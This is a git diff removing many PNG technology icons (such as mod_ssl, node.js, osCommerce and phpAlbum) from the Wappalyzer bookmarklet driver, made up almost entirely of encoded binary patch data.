zCG~o}+11shJed7-!aNAuj*n2R2Fh?<7cD|octK||4Lv@>eZe>*2H6dCTQn>vAR1ZW z#1&2vA|Oid1=}so&1z^Wz(b&8(1dfhEL3;@Z-Cx8P{Gi)=XnUg2|?|LaT9-#=@`iWSKzDJebo?c3La-)CiIDGa`Lj2}O~xr>X7(YSHr z+Kw4B#ug4d^Yingl`B^!;I*pZdN(&Wu_+9iV|_YKTC`{p;X8sev~Alqx_tR^=HbJK zf8cfZ?%n&M6Rq9d-LsZ0Tb93j_wJuOJw4elZ&tf}`Ep83OpLg2;ld{yn3|eu_;>W^ z(WOI&4kbiigYRoLY}lZkJb7{*od1BxDLp+sjn{48zFno)Iy??uwQ3a|J$jVN%gbr= z=FK#5;zViPx^>!_GiMS|dFbQg^Bp!-czb&*V7v)`*S&l9I4dhF>fgVAE&nnKaDc(-od>X=N-0Y^tiTC-+NT}Vg>Luv-& zmZL_EsvI?G-xr-ABBiCJ z<>g6}CQ(F01Vu(hawS_!pmzWM{nD;oyXeM^8}$11YeId~*|TQ_>=_vu zv~%Z9;`ia<;len-1F^N)+1V5q7k7?r!5PhG4xkK8klSC_C`dzBu3Vwe&`=Q>U`-e@ zWXL->D6s)9*@q7wQdLzIJ$Ued%F4=wLkABYq=JG1N=r)x9H&#VE0Hh8^#<*hAuV2t)$JWMN_PtatC;Lf8;g6qIp* zot+)?W|&@0fOx1Ozuss*ML>qj@ur!XS*3}IiHN>mzkX7)X3grL{nGsT^94y+m>70; z7G%@%I>>ce*REY7A@9WNK<-I!%-Gu6nr_~_*aa+XbzSZtJP`&I~Z?@AcDCud3kvepm#$GhYT1nph`BSzd1pYl^~27 ztZ&Bm_~;Da6bLAl%0zzFw{PEFUAlD9speZa;$m!UoZGQuN5Z>gnOlRA%4$ZTLx&D+ z(6Ea3?Aa5^@6fJQU!9Z&4<2kN8@tOo04F3=$x40(E3v2{>|*2pD#5d#QA`#Y+^5>U27E}t`_L8|vij|Z>A z^E__PV7m?82~xv&n1h1@I~68xt2Air0fTCJ1WU%uKtSX)-vf!Q92G|kqt!S~DF%9vSljt{^#oI zYU2jmG=(-)AWhMHgUV`r3IM(E7UdNPrazbE`rj!R&-SAi>_z0=F!h{8(+Q~mJ(`k$ z8>GCB$a@=n>w&zhWOlECuxya0TeV81QnFC-J!Zawr%#{0Mc3S|Zy(5eCIrd+n;k$4 zHk6GPB62r5hf29b#XB^d03Kd2gucWCHK^epP{FnsSQF8_+I*97RDh1HMi@^1grTMw zI5fJyX3&3i>(;GXp(DOTlPLk|K7s@L&^^@+Mt&!#-c`&BZ4Ca;0a*@ma&olv^z;%A zp%0WnpyIP_Vp=PJ=ozCX+?G`{@_^`|Lp6~gdbAD%=o7>j)zg^7OgnPF_ zw@aos2gwbVkbfquw~Tw}*m2KZmEnp+u9fzy8O;=ths%Zg)%tA^_Ll3-wE?)_0^ic-jk{fVoq4p-baJl5yJa%E)_;^{UP#LZ5nHDA5fE^NkSh# z_YlSHN^%z)khAOVI|;QsVR zggwC-kZLb#EjNx6=lV^tkRsDcD6?Ed1H(pAE)utJ;xl*+Td(i|Z~N{HGw^N;2M}% z=rx9kJJ-b@S}7stJw;*AB2)QPAZT)2E{i9A?w*^Q;Pnljanv0T`2(>U;^ICP@rs0S z&9^#_g!8J#F2@O9+C9UjZFt#ypP4<#7qu0{XH~%UoH)1H8qtQuuG!@h;0AB!rZ(QQ zl;W#!KFKAJlrNypAR0e;B{{0olB1rCr*Wi=er#_cUYzy@qxetP`6AX*MYm! z5_rlh^bL9#dpqE6xR=Ay@&-3SDVUxY&vN=#th4u{JXYSG?4kM3i&$`S>(|cKwVCTT X`B0mjzD+Xn00000NkvXXu0mjfIjPS1 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/math.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/math.js.png deleted file mode 100644 index b4972169a0414ab374bc6011ed7ed2d6975c44e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 346 zcmV-g0j2(lP)NcPUe+&dKg^YPzIDdAT&;7~68_Vxby`2PI+2X^~b#S%faAHD&SBp z`r+I9<=^|};r#9D{O;@g@9X^U?ELWU-a;MWQ!?RJG~PoV<6uC*RCFBx004qXL_t(| zUhT?N4#Y4FMNvCRnQ4%jVgIXZJd>)mx`fXAI(oX$-+x7{jNUwWNhvFEmp%p?2f$r; zcwXh5;DdRo29bI$^ZZW07*qoM6N<$g29lpRsaA1 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mini_httpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/mini_httpd.png deleted file mode 100644 index d7a9bbcaae7335afe9575917e4cd6f8885f03e15..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 124 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!D3?x-;bCrM;TYyi9E0CUfX68=IP9Y%6(9^{+ zgyVYhkN@)-IbOXtyds~HFd=`l1c_-8s5X$yZpzT6X+Y2FvSz!Wl UmvvpX05vmsy85}Sb4q9e0E1;E#{d8T diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_auth_pam.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_auth_pam.png deleted file mode 100755 index 117b485d4cbc8ab46cc7e751aa21f773cd802435..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1331 zcmV-315*26?bsV))V{pl3FosfG5Cz4B zQCv}yfd)b`uSuFxfFS0Ypafj+yM$?P`oBk@E!+joYsJcG`|8wDV4F@c$@NnA69LtEyt z_qQyzWW|wGivR88o&;{BbIXSc5EX&xmoyRz5{ZkQM#`KCWJ-w)!b*x6P;iFf*UjD8 zw8@#_{o(P40{2sPK3@qM~Tl*KiO8 zF*}|OzkfnP(K94mqL+CVeI4%;Zja=EHH9d99&;Tf47?~+GF~M1yLa(46k`2y+NE}3 z#SPr^iU_hFWMz#%3+=A>+2^puDv%3=*9znu6N-PO`QGykI2nU;E5jfpZ6ZxREyg8X zAuMCY{T+ll+TiKvLhQZ0th22m*(OD9GO6|^{`aKDcHD*-3X#vyqBBgrnMkaCBKei! z9JUUjpQ9HeYXnZ`o6s!BTqxp|#iWuegQxmGg`)*$({-nG_XK5l`*@lQDPnrAJv=^A$&|1Iep= zj-fT3@TdtT`;Iap2;Fm)$+d-e6&-`{21DopdXNA#83K?UL7c7r0JFu!OuG{UMAR9>dMv} z+U`-$G&mE-Xggj_c!f!oQbHi|U!&^IDyty+5MQBi$_|xQ8Dnqj{@iGm8WPMX=v_e9 z9Hn0S#7@4kYeJ-iE0H!qyvNqNUvjciN<7F#u;nsMckJ_JtRW*Bi__qrc=d-%j4GGk zf>1a$t{s_YQzpF0y*rbO%PLCoIgr+mxrP8Jn7OoGe;fZQ0cb>Jg^J6ITa_&tX>ZLiTRp@H zQp$C&#xtoeZiYZ;Cp6P3O+6tiq=K^GP03wBs3W?v(6WHS^0O?e+rZS8N1HOru+1wP zlc&C{l(1TLfcimMkQF^SRi!-mk#t8pX?;nZ#$$n@XNgoiBkTJ?5WCp?uNBuSUSp-z ziB}v_Mg>+#;JL~4bi-uoXz0o6G%nFfy1uf$q*U30P#!wqTlEDoalGN<$C!^kX2iJO zv})ySs1iAhSgj371*AND&QYtZ=*Hm!9&2Kyeb-YAoxGpXQzP;44#dsvbwdGG;Mx3V zd^QO}R;*{eJ%r;oXc6`yFSI!gT*lSiz3%024|@KgoUjEUCCmh0Pa)zDFM>n#9)zX3cDu6Qe%?~DKd002ovPDHLkV1j#cdoKV0 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_fastcgi.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_fastcgi.png deleted file mode 100644 index 117b485d4cbc8ab46cc7e751aa21f773cd802435..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1331 zcmV-315*26?bsV))V{pl3FosfG5Cz4B zQCv}yfd)b`uSuFxfFS0Ypafj+yM$?P`oBk@E!+joYsJcG`|8wDV4F@c$@NnA69LtEyt z_qQyzWW|wGivR88o&;{BbIXSc5EX&xmoyRz5{ZkQM#`KCWJ-w)!b*x6P;iFf*UjD8 zw8@#_{o(P40{2sPK3@qM~Tl*KiO8 zF*}|OzkfnP(K94mqL+CVeI4%;Zja=EHH9d99&;Tf47?~+GF~M1yLa(46k`2y+NE}3 z#SPr^iU_hFWMz#%3+=A>+2^puDv%3=*9znu6N-PO`QGykI2nU;E5jfpZ6ZxREyg8X zAuMCY{T+ll+TiKvLhQZ0th22m*(OD9GO6|^{`aKDcHD*-3X#vyqBBgrnMkaCBKei! z9JUUjpQ9HeYXnZ`o6s!BTqxp|#iWuegQxmGg`)*$({-nG_XK5l`*@lQDPnrAJv=^A$&|1Iep= zj-fT3@TdtT`;Iap2;Fm)$+d-e6&-`{21DopdXNA#83K?UL7c7r0JFu!OuG{UMAR9>dMv} z+U`-$G&mE-Xggj_c!f!oQbHi|U!&^IDyty+5MQBi$_|xQ8Dnqj{@iGm8WPMX=v_e9 z9Hn0S#7@4kYeJ-iE0H!qyvNqNUvjciN<7F#u;nsMckJ_JtRW*Bi__qrc=d-%j4GGk zf>1a$t{s_YQzpF0y*rbO%PLCoIgr+mxrP8Jn7OoGe;fZQ0cb>Jg^J6ITa_&tX>ZLiTRp@H zQp$C&#xtoeZiYZ;Cp6P3O+6tiq=K^GP03wBs3W?v(6WHS^0O?e+rZS8N1HOru+1wP zlc&C{l(1TLfcimMkQF^SRi!-mk#t8pX?;nZ#$$n@XNgoiBkTJ?5WCp?uNBuSUSp-z ziB}v_Mg>+#;JL~4bi-uoXz0o6G%nFfy1uf$q*U30P#!wqTlEDoalGN<$C!^kX2iJO zv})ySs1iAhSgj371*AND&QYtZ=*Hm!9&2Kyeb-YAoxGpXQzP;44#dsvbwdGG;Mx3V zd^QO}R;*{eJ%r;oXc6`yFSI!gT*lSiz3%024|@KgoUjEUCCmh0Pa)zDFM>n#9)zX3cDu6Qe%?~DKd002ovPDHLkV1j#cdoKV0 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_jk.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_jk.png deleted file mode 100755 index 117b485d4cbc8ab46cc7e751aa21f773cd802435..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1331 zcmV-315*26?bsV))V{pl3FosfG5Cz4B zQCv}yfd)b`uSuFxfFS0Ypafj+yM$?P`oBk@E!+joYsJcG`|8wDV4F@c$@NnA69LtEyt z_qQyzWW|wGivR88o&;{BbIXSc5EX&xmoyRz5{ZkQM#`KCWJ-w)!b*x6P;iFf*UjD8 zw8@#_{o(P40{2sPK3@qM~Tl*KiO8 zF*}|OzkfnP(K94mqL+CVeI4%;Zja=EHH9d99&;Tf47?~+GF~M1yLa(46k`2y+NE}3 z#SPr^iU_hFWMz#%3+=A>+2^puDv%3=*9znu6N-PO`QGykI2nU;E5jfpZ6ZxREyg8X zAuMCY{T+ll+TiKvLhQZ0th22m*(OD9GO6|^{`aKDcHD*-3X#vyqBBgrnMkaCBKei! z9JUUjpQ9HeYXnZ`o6s!BTqxp|#iWuegQxmGg`)*$({-nG_XK5l`*@lQDPnrAJv=^A$&|1Iep= zj-fT3@TdtT`;Iap2;Fm)$+d-e6&-`{21DopdXNA#83K?UL7c7r0JFu!OuG{UMAR9>dMv} z+U`-$G&mE-Xggj_c!f!oQbHi|U!&^IDyty+5MQBi$_|xQ8Dnqj{@iGm8WPMX=v_e9 z9Hn0S#7@4kYeJ-iE0H!qyvNqNUvjciN<7F#u;nsMckJ_JtRW*Bi__qrc=d-%j4GGk zf>1a$t{s_YQzpF0y*rbO%PLCoIgr+mxrP8Jn7OoGe;fZQ0cb>Jg^J6ITa_&tX>ZLiTRp@H zQp$C&#xtoeZiYZ;Cp6P3O+6tiq=K^GP03wBs3W?v(6WHS^0O?e+rZS8N1HOru+1wP zlc&C{l(1TLfcimMkQF^SRi!-mk#t8pX?;nZ#$$n@XNgoiBkTJ?5WCp?uNBuSUSp-z ziB}v_Mg>+#;JL~4bi-uoXz0o6G%nFfy1uf$q*U30P#!wqTlEDoalGN<$C!^kX2iJO zv})ySs1iAhSgj371*AND&QYtZ=*Hm!9&2Kyeb-YAoxGpXQzP;44#dsvbwdGG;Mx3V zd^QO}R;*{eJ%r;oXc6`yFSI!gT*lSiz3%024|@KgoUjEUCCmh0Pa)zDFM>n#9)zX3cDu6Qe%?~DKd002ovPDHLkV1j#cdoKV0 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_perl.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_perl.png deleted file mode 100755 index ee03c39ec9043437370b40ca2ecaa52dd0232a09..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 372 zcmV-)0gL{LP)1}-ix25f+lkrA1zrlw|UY8n(2gi`|_A0JQ=BN(u;u`OP_ zc;gSNIdR#S0m07eSXR1!4A#Kc^^dX)qX%*@P*iHW$B z0{!#s*|XBpQlLK(8ft24u&Vz0^=of$ub7w^P+3Sw2m?PqzlDWGetteKPcK=rgqxci z5=9^lz{p>_cI{;x;PBzYW@cvaL;%vDsHmu-qN0fd027sffB+X50An^fIvM~1R(QCY Sg9Wz$0000!J+>E diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_python.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_python.png deleted file mode 100644 index 09634f1f05d49febf35b0e0832f5ea2778799e59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 607 zcmV-l0-*hgP)t-`5GjuDYH2@m%cjZ z%BFMWN>kTd%SuetF+r$5;14k4ibm#2`&n`C@k&0bTor#kZNJ}7Y-}8R6^R^G trBnUrKF*+rT1x|p%ycdl77_Db#dj`1XWXBoUv~fi002ovPDHLkV1nrg6VLzv diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_rack.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_rack.png deleted file mode 100644 index df046935b2f15872d3766a1a8cb869d0ff9e0b54..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1922 zcmV-|2YvX7P)mw-Kp*LKnA9i9*~oOC?|zdAqC_@;RZ@)Xf)s{cwvHx z0Z(An7{o%NKmgKM5(~r%v`~PyP|}tT({?(Y&Ut3J8J!VM?)^Jgv3iyw1G?;Qf-)SCbZ`rtT18! z;W`GnZNUNJl+Lh`Fp>q-S8F`aCCL6PQh{zJCCt*U?P+* zfZqW_(-vOGw}5Xf2!QhBx^yIfU>vdt@|}PIzlMh)UA1 z%d%D3)S8e6V7nj%a4TR}X5Y#IJ%P?Ftdd8T^MO`7%|k95Ho=mm8c62_pu|*XQfU`> z5X0vs6W3s%*#aGdor5fZtO@B9k_tw7kTpomQi_XQW(qk7Ll2RUK@9MwxNeVo7ZyL?pr(`<1xST2MUkQ5+u zAxyw_XN~9%!to(+EQsseIr;=ot$Btl2*4^_mwD#7d@0@nWXwhVhXBX^`V%KtuDt)9 z>-ozE7JdKx2_@6e=J~A?ObtMqLezjvgI16LnFX;x7(zHh^ZoZBo*-gBt^aw6|C{G&U#R`r{g%Uk|VzI`XdyC0RPg+aiCATcyg zf#ZV)vIOE9OdN-fzLh6-a+1dwcu7Az1 zdmdZceSGiA6CV|612qZ8H?!f=$IQss#T~4)J8v;*EaP2Ft%#tVrSncdp>AO zcE5&W+x+yl4(|HORd}vPqfy6b4FX9L)2P>}*J~t6fJS_Mp; z)h?(O`FY8sEg7#tmXMu$5l;>#Ts>Z=+7=N-G26Gl$fivG%Jo1U-DSh*?6Vp(i!dg;g<5g=Y6?}eiWR(A3a*8yV=|nDRwKtj=X0Ej6$Evf<2A}v_ky!pMkbhYPYt)6)^rS6Or|Z4LL z!CCYit;FWULFn25RuR-JfTdGR(m>mJusmR{I2xiFgo9970iL9o;A__Qhn@q>yjo!8 zN|L?w<2ShB!MBLwE6Ld~yccpyKm-sn0Sq8>A24SigLn+`MQEIaBzJ@z550z;oBs@m zAYc@e$KPY!mPV$Gdv$Qwi@IUqe0?51#07k?L z%-(H}vv_$%x#tSx+@&-FMVbJZSqKA0FlddL>wywYv5?|BqYS_Q4zF*0T$I%WF=sUc zR<0;UYo*h~!RQ>|12zWXOfkmHwIo3#LR3pRZmg8jXFAdU4O?en9(cj`8UO$Q07*qo IM6N<$f-6p#mjD0& diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_rails.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_rails.png deleted file mode 100644 index df046935b2f15872d3766a1a8cb869d0ff9e0b54..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1922 zcmV-|2YvX7P)mw-Kp*LKnA9i9*~oOC?|zdAqC_@;RZ@)Xf)s{cwvHx z0Z(An7{o%NKmgKM5(~r%v`~PyP|}tT({?(Y&Ut3J8J!VM?)^Jgv3iyw1G?;Qf-)SCbZ`rtT18! z;W`GnZNUNJl+Lh`Fp>q-S8F`aCCL6PQh{zJCCt*U?P+* zfZqW_(-vOGw}5Xf2!QhBx^yIfU>vdt@|}PIzlMh)UA1 z%d%D3)S8e6V7nj%a4TR}X5Y#IJ%P?Ftdd8T^MO`7%|k95Ho=mm8c62_pu|*XQfU`> z5X0vs6W3s%*#aGdor5fZtO@B9k_tw7kTpomQi_XQW(qk7Ll2RUK@9MwxNeVo7ZyL?pr(`<1xST2MUkQ5+u zAxyw_XN~9%!to(+EQsseIr;=ot$Btl2*4^_mwD#7d@0@nWXwhVhXBX^`V%KtuDt)9 z>-ozE7JdKx2_@6e=J~A?ObtMqLezjvgI16LnFX;x7(zHh^ZoZBo*-gBt^aw6|C{G&U#R`r{g%Uk|VzI`XdyC0RPg+aiCATcyg zf#ZV)vIOE9OdN-fzLh6-a+1dwcu7Az1 zdmdZceSGiA6CV|612qZ8H?!f=$IQss#T~4)J8v;*EaP2Ft%#tVrSncdp>AO zcE5&W+x+yl4(|HORd}vPqfy6b4FX9L)2P>}*J~t6fJS_Mp; z)h?(O`FY8sEg7#tmXMu$5l;>#Ts>Z=+7=N-G26Gl$fivG%Jo1U-DSh*?6Vp(i!dg;g<5g=Y6?}eiWR(A3a*8yV=|nDRwKtj=X0Ej6$Evf<2A}v_ky!pMkbhYPYt)6)^rS6Or|Z4LL z!CCYit;FWULFn25RuR-JfTdGR(m>mJusmR{I2xiFgo9970iL9o;A__Qhn@q>yjo!8 zN|L?w<2ShB!MBLwE6Ld~yccpyKm-sn0Sq8>A24SigLn+`MQEIaBzJ@z550z;oBs@m zAYc@e$KPY!mPV$Gdv$Qwi@IUqe0?51#07k?L z%-(H}vv_$%x#tSx+@&-FMVbJZSqKA0FlddL>wywYv5?|BqYS_Q4zF*0T$I%WF=sUc zR<0;UYo*h~!RQ>|12zWXOfkmHwIo3#LR3pRZmg8jXFAdU4O?en9(cj`8UO$Q07*qo IM6N<$f-6p#mjD0& diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/mod_ssl.png b/Wappalyzer/drivers/bookmarklet/images/icons/mod_ssl.png deleted file mode 100644 index 9ad711010e6f7c309a02f00b51eb8b1ce323297c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 488 zcmVP)t|e z24X8}Th0f>cd=OZ8;a4zUjwleH61V!&4Qai>;uGXpm+yj2OvI+re-y@ESCb}pJ3f)WSlp&6C{Drg8`FEl+~Rf{k0iAP z&>W!vY6(+dIVd;jP@`p>Mr1;RVNj7=0>m8D?4E(T<#s^a4#c~G_%+%tP*cg%3Lb0000;*>q~_^MUc7m~dgHc~ypqD^zPd^C+UKmieB(})u)H}?yT7N4V@O3@ z>3L7S0|p$-4rPq}97pziA;_2a}xMj^pNW`~3YbQ~Ck{B|;xeQyae we8aeA*PRz->^5h*dt271=$sQ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/node.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/node.js.png deleted file mode 100644 index 9cf2664f8eab5671cf920ce5e12c77c5f6d5c5d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1044 zcmV+v1nc{WP)(3_REOKJBBH8Qvw_ai9&#D0s5$S{oII%)&3SS zj_0kkz0yS9@_zhCqsVb)$1P$M3+}`^G{AF+91KLH$961Z=(~V@(&Ij%NNLa<01-e- zS?HaTH@0h08wiWM9?7;!7yY9EzNblaK=v{7vik~L!sO5&VA+J+#l4>|(v7fO#oU{k z$WMq=`$KY8kCQ4cdEGFd0@%3($9muoiFLFM>5qbyHQsF2*ai4Yz20Zms(|3=?(&7? zN;N3-5m|)jWabrjnJH(XUOrCg?yiW;(KxsJM1b~<*n1W) z`vWfL(e@(Y=;HQWEMN~kg0ohJ~n(r%}|8>&!Y z6QR2dC!L)zN9BR>De(c_)}|fq@0-!I{%aw*10NWhG6E{cbG{3S?{f)q+sVAOsWNZ^ zSUOgK<=e*{s1d{2^UNsIbalZXai_0YX8fauSQB5@Q37PRvGKDHgyf;a z4bs&;?Rs6xIkf^$QxOIGw6lG+l8q_%XxY{6xeL3hNq+T*#hTPOVZ_RO?N;HDq(;PE zLu5Jc~**Im?jD zqn6vIl7}ALuIsvZk@WA5&O!M?<|D=f;0%CIV^N-u0zRofYyAe>9_}+dNHIGA O0000nrW2L@mSU=ayE(qQzuPe1<`T)zH=v? z`d_LOTNUh>T%j0HKl{38)%5?;1~$QZkwxxix&8n3v-t9GtbOo82@CJpEZqE>a08Yu zoOgNFjA{R+*L|7866$<)YHZBr;>f3q0^j8=dGum`ESs^=RdccCcjc>$$Z7w z#{W`LjsFE4eH$wY94`IXMhLauUw5 zqI_CbhIrF~OW#geb}@NQ5PRapiHdQtv5qhWh7(RDDr8TuWdue6h~L!MU|LmKxjQ>6 z>!`A_vL{30iT|;Qm;Qg&FPSqpDK=7a_UzfOr%svt-@?u*TCIAWw{FkT|LPOY{pWU0 znF=zXs;cU8US8h+qN1Yzk&%(t8RAa-e;jk^|9_pVzR6iBiM}&u&ip@VLjQjqV{>2m z+_}w~{b&9w^`HOGWf|5AG9V)(<6%ij$$t>`^Yc5&U|K$Bs#)Fgt*ktPqH;3Q^0~RW zM;#p}1CrGefVYTOyoboT- zNaDYK@`PXi=QlE+V}Imd$YYj2NpgUOwIXp?`*BbPAe`~tp9A55nz zes$+^mgA`JOxIw0bgo~KC)nZ3^NO}<`kXw03C<4N{`jPFup|on_SS2*^I(oCR&rM5 zXuhG)JAaYnv%0?26}#sjIKa5=Z@E&lu!r%9PJ`(UJU`}~nZSI=fH~nuFwbG91-Dd0 z>XVBZ&j>W>Iq)}!pXAY6;NZm1JRvPYqT$2#iZ%lgX9tEQl49Hno)HZ~J*|R#3>?gh VAKJ&>TLAPUgQu&X%Q~loCICkOV(95}DSeSt{69cKh)YMF{w5;5D%G7D8HMMoVMn*>BL~E9nmE&z{YL1>YYgT%H ze{byMDN{f7spCNncoy_m_mY@E?Ca9~O6a55CJ+ zt_hwvcI4~J=g%0p*jfLG2=U3Vv9WQ%oo#JnYjOX1!~ZBB@f+LoLUzYZ9f@Ni(1l9HMo6cqHYzrX*>iQ`BA zUAS=i&&iXA|EylMSMP*?pgIx=D_P%R_Y#A9r1Y!w$B z@h>(i>|IP`$hYY5;6IU}0e`|n1HMIu1-*-niuk9lre=pT^?{P7osD&cwYkYZYcrF7 z7RH9(%nbFvnHwAavotmOXKHL*%gV}%KM8{rhzJVV3GxYS2I7BU%qy@}NI=j5m}p4K gks!q!P)txG0Qr9o_+{>-qW}N^07*qoM6N<$g1>)$#sB~S diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/osCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/osCommerce.png deleted file mode 100644 index 2955ae5c751762479aaba1370722ea06d15dc39f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1647 zcmV-#29WuQP)cLR3;rK_LW*V1R&8P(=tN6sYleO!`OA%y{kG@62;g%p(iTi$cXMhD-C-|@on&GH(Zo2yEGCfqoJ zOv5B0|Too1*H^fLbqEL1xeF0Bu_4%mLz_i!dtIQ(~wPumGjd1Hke$7jOO zI~e)yp1^nZ0XVx@0s&nQL*|A76Hg$d_%xZINdZO?cAuESC+%gps1;x=39&2*(1?A+ zk%!Q8U~x3IX}oMX#x?-eLPt=Xv(f7#oomai4ZSW(Jn-8Z2AWK4Bk){=fvXb>fg}zP zaqYV{VBo=`sP09D5P(|fDfpJ|Y63%Il%p3nLTsPfLh-RW%S5XgVVr0QLbMtYnvBsz zI06xHo|l;GQYe7GP!Vn-jt{Lxgz4;QJb&rkk{ohGO_H$KY6}kGIu3l#X7vuF6Oj+g zGSKN}sFd<%&-M-hxbD0JHoP#g^&>yno;V32KjI4`BqwW(y>kNP!4!W6D`3_NLO>ru z(|~0V?2tf6X)-pF(1YWc9GQZ{J<~9!PtA7he4@z;A!V1-N?1~HL9-}|iy z)l;ir^V<0JZ}{-tOPIJuU4y6vN}yP2O(+y)gIDw71pjjj$Kc$L|Ihw;-adUkl;GY3rTF-7Kv0~ zkC0}vhdzClm$%zP$*1WK6R=GiuI;jQ9z0?|M3TorOhPfAdm^gRE3sqe3GCc4DJLS& zD@oF464$Z#E{oNI>jK)!vP8F^qua~$o@Eb`HzoPNY|9zIhNFoPo-^o(r%5yr@Scrg zwK*&%dF+W3cxDG<{2X4Y3$XNQk&$FY$+a9qcB#^dNg$^n)A>{II)=_Ru|LKy{68yGSfUxgY&_87^3C0Zl8ILB(KI3?I#sji#0(do~j-8+Lh z;%s-8IIX>`+kDpTcPPM|#Be^_OguaM=lCb$+L0g;TAvlk?BtF0KvD!6*~Gqc2?#`Rkhwu85>lDt!?7IsRzMyq?rY8D(zRsj z*RAU|fA!jdx1L-BKoLiA9y9nI(8&+|X8HE^HxS0T5BiDJey)nHFyg z!0e*_EhmXD=&r|k%wj^N$B&2(dxN|7B9^hr-VWPqk?H};;2*5(5(n(oI!IhRN?t%sVL(n{M^t7>R%udRa93k=S!H%wW_Md>cU@?CUTJz?YIKV$g(<7?(psJ@b2&N@9^^T^Y!)i_xAVr_xSku`1$$y`uh6&`}_O*{QUj> z{{H^{|NsAsR2nY;000JbQchC)5ThX0T4#vL14u0 zZZWW1?Cvh?ZZQy4taI@$P%)7I!LyxrIiHA_%oYuq#cUE0iL&aSS))WuVeYC{lbAJZ zX0e0^7EyyD18L5Mp6oCn-wQldhX(OZSBV<{e`ZL~3Vj4>uFMJnmi?|q;C_AWZq&@Scvvt9Lk)G@uYGvzpe$)BLu2b=Y?0K6`p^OE=-BwPWrKpW5tc*cTY{2pK;01ki=4`+iNLD2sSaF}9K74-uC z*7?56p&;l1;9|yIq@o)DHxAf8__*)R0kF8omWq}FJahrwJ^=8w0PxfVTPmuxKJeJR zycA}v1Gv(2PJ!F<_D6S-imE2$=SFLsBTH3N?e-K^jVWv>OHxg?Mfy?y1BP#JI2^<2 d8IIRz{%^OLlr0yDXNmv-002ovPDHLkV1mpHoaX=l diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/papaya CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/papaya CMS.png deleted file mode 100644 index 21dd4d530096d1d08836b2697b55a775b7cc9772..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 391 zcmV;20eJq2P)j=P~Ze;!SP9%!0?#Z6P8JI(EWdiJ%HSNrtyev(5+1%-fX;Rt6KU9sQ;i8h_ZD zv^BP2CAbtx+nA0UkDMJVUc=f2{nd*G4lpxsTR0*-EM?%h6w>hYx}F1Ey{DHU09_R% z3eo@SBsTrW_zCaPL>jh@R}~^8YQOdI&Vuw0LCGY@j9l3&^WuH$02PGDl;0=3SiWx42nu8pMC~+2R2))Chf{)`0J^pq lSuMPaFqeGUK4#O1egWB8c;$*~t_=VH002ovPDHLkV1fzds$~EG diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/phpAlbum.png b/Wappalyzer/drivers/bookmarklet/images/icons/phpAlbum.png deleted file mode 100644 index 39e4614a548595ff63e1d9729164e893ebd1bfe2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 443 zcmV;s0Yv_ZP)x`@WgUTk`PQ0sulloFG3s%?7e6QtJ6Esqq&v5of3wJL>w; zf8z|PH>K_e#1jSzAIU){Y_)sxzs zTMtMs;(|y)ULzpY85O(rPv{f4%faCkB>jx~bDVg9qQY z8;OfkDWFNYz)(8~Qgv3f+~RQA_G!*+VO!#sEir6aqFEf-ob4-Ulqr7D>0FdWL0I1_ zh@BHb&4`r35CJMPgn?9stP?;0+)6D)N~;XIwSp2T{C4i65QMh8!ajPElb5FV-t#+u z?(dwtY}q4OK;)dTT&@xh(Dy2-mlX8dO5bxb75_n?J&J_P#}%9qv1H>im1Z*;@;no- z#V6?oBo|%*U)F%c++XnOo*%)$$dr6_gi`x-)E40}0>;TzyqVM|0_Au&eG5q6S&Zi@ zcF2YlJ-S^(m@DJH3FK5aW97C?2Bcla2~BK$Y)U>-i)x{(s7F$c5w9ejggmuGy&I<`3=0Gk3P_jV&`8OGW+75eI0Af=Mu<854pa8n9xA4M_ECxUu z5&$C+D#GFKis~dA_l%5+HIP!f(F6v?P)6c2B)_5}pc zc%ut1@6v%B`&}9jD1~TRJf_r@!8b7((s0)0KRkW*E#rC;uV}0);l6;ZfLgj z1_fZXS`o(^*mZPIfL{hpa3j5}IAJ33AQ*|#^{^}nTy*pKTEhqqs#ez5XX0vq#bBB=D zkB=F!R9SyG51WY*0|BTpw<6t8MPr)CjQZK$M>FL4rnV&mIAo|5yB?bflk=;v`*b;C 